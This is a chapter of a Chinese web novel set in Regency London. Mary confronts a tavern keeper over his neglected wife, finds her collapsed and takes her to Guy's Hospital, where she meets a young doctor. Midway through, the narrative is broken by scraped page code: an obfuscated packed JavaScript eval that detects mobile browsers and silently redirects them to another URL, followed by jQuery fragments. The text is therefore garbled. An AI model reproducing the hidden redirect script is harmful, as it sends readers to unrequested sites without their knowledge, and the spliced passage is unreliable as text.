一个空闲的下午，玛丽乘坐马车前往的舅妈提到的红宝石与天鹅酒馆。
酒馆离加德纳酿酒厂不算很远，位于一个遍布着工人住所的街区中心。
大门的上方挂了一个巨大的招牌，写着红宝石酒馆，字母旁边还用油漆画了一栋巨大的啤酒，十分引人注目。
木门虚掩着，从街道就能看到酒馆吧台内的酒保正有一搭没一搭地擦着酒杯，里面是不是传来几个伙计闲聊的声音。
保罗推开大门，先把玛丽请了进去，又朝吧台内的人喊了一句：“嘿，你家老板在吗？”
酒保便钻进了吧台里面的库房，里面传来了几句含混不清的话后，一个蓄着杂乱的胡子、红脸酒糟鼻、身形肥胖的中年男人便走了出来，大声咕哝着：“谁在这个点找我？不知道我要睡觉吗？”
等看见了玛丽，他本就粗犷脸扭成更吓人的模样，声音也粗粝得可怕：“小姐你找我？我们不认识吧。”
玛丽皱了皱眉，略有些反感。
保罗这时走上前，憨厚地笑了两声：“韦斯特布鲁克先生，我们在加德纳酒厂见过的，您还记得吗？”
中年胖子浑浊的眼睛转了转，仔细地打量着保罗，最后像终于想起来了似的叫了一声：“原来是加德纳先生的工人，你不是在给酒厂看大门吗？怎么跑来这儿了，还带着个这么年轻的姑娘。”
胖子眯着眼，咬牙切齿地说：“这个年纪的姑娘，全是清一色的蠢货。”
保罗立刻板着脸大声说：“您在说什么胡话？这位小姐可是加德纳先生最看重的外甥女！”
胖子不屑极了：“这个年纪的姑娘满脑子都是情情爱爱，一见了男人就连父母也不要了。加德纳先生的外甥女又怎么样？说不定哪天就对个诗人一见钟情和人私奔了。有话快说，我可没时间听你们闲扯。”
保罗震惊地看着面前的酒糟鼻胖子，立刻撸起袖子就要和人对骂：“你这人——”
“谁说我找你了？”玛丽出声打断了保罗的输出，她面色平静，看上去并没有因对方的出言不逊而生气 。
她冷静地问：“你妻子在哪儿？”
酒糟鼻老板显然愣住了，反应过来后面子又十分挂不住：“找那个婆娘做什么？一个尽知道添乱的病秧子。她生的那两个蠢东西叫我在这一代丢尽了脸面，依我看，她是好不起来了。”
玛丽按下心中的怒火说：“她是你的妻子，你的家人。如果她病了，你至少应该为她请个药剂师。”
胖子显然不乐意听到这么的年轻的女人的指责自己，更大声地叫道：“她为着两个蠢女儿，整天把自己关在房间里，连酒馆的活也不做了，她的懒惰为酒馆造成了多少损失？我都没为这个怪罪她，上帝都会认可我的宽容。”
玛丽讥讽地勾了勾唇角：“瞧您这话说的，好像她不是您的妻子而是个怠懒的员工。冒昧问一句，韦斯特布鲁克先生，您给她发工钱吗？”
胖子倒不以为耻，理所当然地反问：“她是我婆娘，帮我干活是应该，为什么给她工钱？”
玛丽在心里翻了个白眼，面无表情地说：“我要见韦斯特布鲁克太太。”
“她病了，不见人。”
“那我只好告诉治安官，有一位韦斯特布鲁克先生因为名誉受损，蓄意以消极治疗的方式谋杀自己的妻子了。”
玛丽平淡地说：“我想治安官会有兴趣深入了解这件事。就是不知道治安官介入调查以后，会不会顺带牵扯出其他的事情，影响你这间酒馆的生意了。”
玛丽说完就朝保罗使了个眼色，转身向酒馆大门走去。
她走得很快，利落的背影看上去没有半点商量的余地。
就要上马车的时候，从酒馆里传来了胖子粗粝的、咬牙切齿的声音：“……酒馆右边的天鹅旅馆，门房会带你去见她的。”
玛丽身形顿了顿，并没有回他，径直往街道的右边走。
果然，没走两步，她便看到一个不起眼的窄门，上面挂着天鹅旅馆的招牌，招牌旁画着一只滑稽而颜色斑驳的天鹅。
窄门里面，一个头发花白的老头在坐在一张矮木凳上，懒洋洋地打着瞌睡。
一听见脚步声便立刻惊醒，条件反射地问：“住店吗？”
保罗：“我们是来找韦斯特布鲁克太太的。”
老头打了个哈欠，懒洋洋地给柜台上了锁，站起身走上窄窄的楼梯：“真少见啊，竟然有人要见韦斯特布鲁克太太，两位请跟我来。”
玛丽跟着老头上了楼，年久失修的木质楼梯发出吱呀的声响，叫人怀疑这楼梯可能随时都会塌。
玛丽来这儿之前大致从秘书先生那儿了解一下韦斯特布鲁克家。
他们家的酒馆在这一带很受欢迎，啤酒的品质稳定，价格又较为低廉，因而工人们很喜欢下班后来酒馆喝上一杯。
虽然利润较其他酒馆低一些，但因为兼营了一家祖传的旅馆，倒形成了互补，收入颇丰。
这个时期酒店业十分不发达。随便一家糟糕的旅馆都能收取颇为高昂的房费。
由于工人们大多是混住的，他们的家人或亲戚要是来伦敦探亲，就只能咬咬牙住旅馆。
酒糟鼻胖子是不可能没钱给妻子治病的。
“小姐，就是这儿了。”老头用力地敲着面前的木门，和玛丽说：“他们一家都住在旅店里。韦斯特布鲁克太太病了几个月，就单独搬到这间空置的客房了。”
他又咚咚地敲了好一会儿，门那边才传来来一阵气若游丝的，完全听不清的声音。
随即，便是“扑通”一声，再没传来任何声音。
里面的人摔倒了！
门外的三人皆是一惊。
玛丽厉声对老头说：“快把门打开！”
老头哭丧着说：“这间房住着人，是从里开的，我有钥匙也打不开呀！”
“保罗，把门撬开。”
保罗立刻跑下楼，从马车后面的箱子里找出一根撬棍，又旋风一般噔噔地跑上楼：“小姐，您离远些。”
他朝门锁用力地敲击了几下，又侧着身用肩膀往门上硬生生地撞了好几下。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054967|194823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
门终于打开了。
三人只见一个面色发青，十分瘦削的女人紧闭着双眼，倒在地上，像失去了呼吸一样。
老头哭丧着脸：“太太！哎呀，这可怎么办呢？”
“保罗，快把她抱到马车上！”玛丽立刻做出了决定，生怕耽搁了最佳救治时间。
保罗一脸犹豫：“小姐，是不是把韦斯特布鲁克先生叫来，我毕竟和这位太太……”
玛丽疾声打断：“都什么时候了，人命关天的事！况且那个胖子巴不得她死了。”
保罗只得照做。
等把女人抱进了马车，玛丽对车夫说：“去最近的医院！要快。”
车夫也意识到了事情的严重性，手里的马鞭立刻挥向拉车的马，不忘对玛丽说：“小姐，最近的是盖伊医院。二十分钟就能到，您千万坐稳了。”
为了追求速度，马车比平时颠簸多了。
玛丽只能将女人搂在怀中，紧紧固定住她。
女人失去了意识，呼吸很微弱。
瘦弱的身体在发烫，很可能在高烧。
玛丽又急又气。
这时能做的却也只有祈祷。
马车一路驶进的盖伊医院。
也许是因为车厢上刻着安德森家族的纹章，马车一停下，就有人上前接应。
等医院的人将女人搬上了担架，抬进了病房，玛丽紧绷的神经才终于松懈下来。
这时，一位年轻的医生走到玛丽面前，问道：“女士，您还好吗？”
玛丽摇了摇头：“刚刚那位太太得了什么病？”
“初步检查是感染了伤寒，还有些营养不良，”年轻的医生安慰道，“不算严重，您别太担心。”
“谢谢您。”
听到这回答，玛丽这才恢复了点力气。
她抬起头，发现这位医生实在年轻得过分，同时也英俊得过分。
金棕色的头发富有一种柔顺的光泽。
面部轮廓十分柔和，五官虽然说不上十分精致，但组合起来自有一种独一无二的融洽。
棕色的瞳仁里充满了同情与关切。
察觉到玛丽惊讶的目光，对方显然有些窘迫：“女士，您完全可以相信我，为那位太太检查的是我的老师，他的医术很出众。我刚刚瞧见您的状况很糟糕，这才斗胆告诉您这些……”
玛丽愣了一下，随即反应过来对方可能会错意了，于是笑着说：“我不是在怀疑您的医术，我只是惊讶盖伊医院还有这么年轻的医生。您一定在医术上颇具天赋。”
对方却并未因玛丽的称赞感到高兴，那双漂亮的眼睛里反倒生出些忧郁：“我得承认，在医药方面，我的确算得上得心应手，但这并不意味着我怀揣着甘愿为医学奉献一生的激情……”
说到这儿，年轻的医生仿若从梦中惊般，连连向玛丽道歉：“抱歉，我实在不该在病人家属面前说这些。女士，您的家人会早日康复的。”
说完便匆匆离开了。
留下愣怔的玛丽：“我说错什么话了吗？”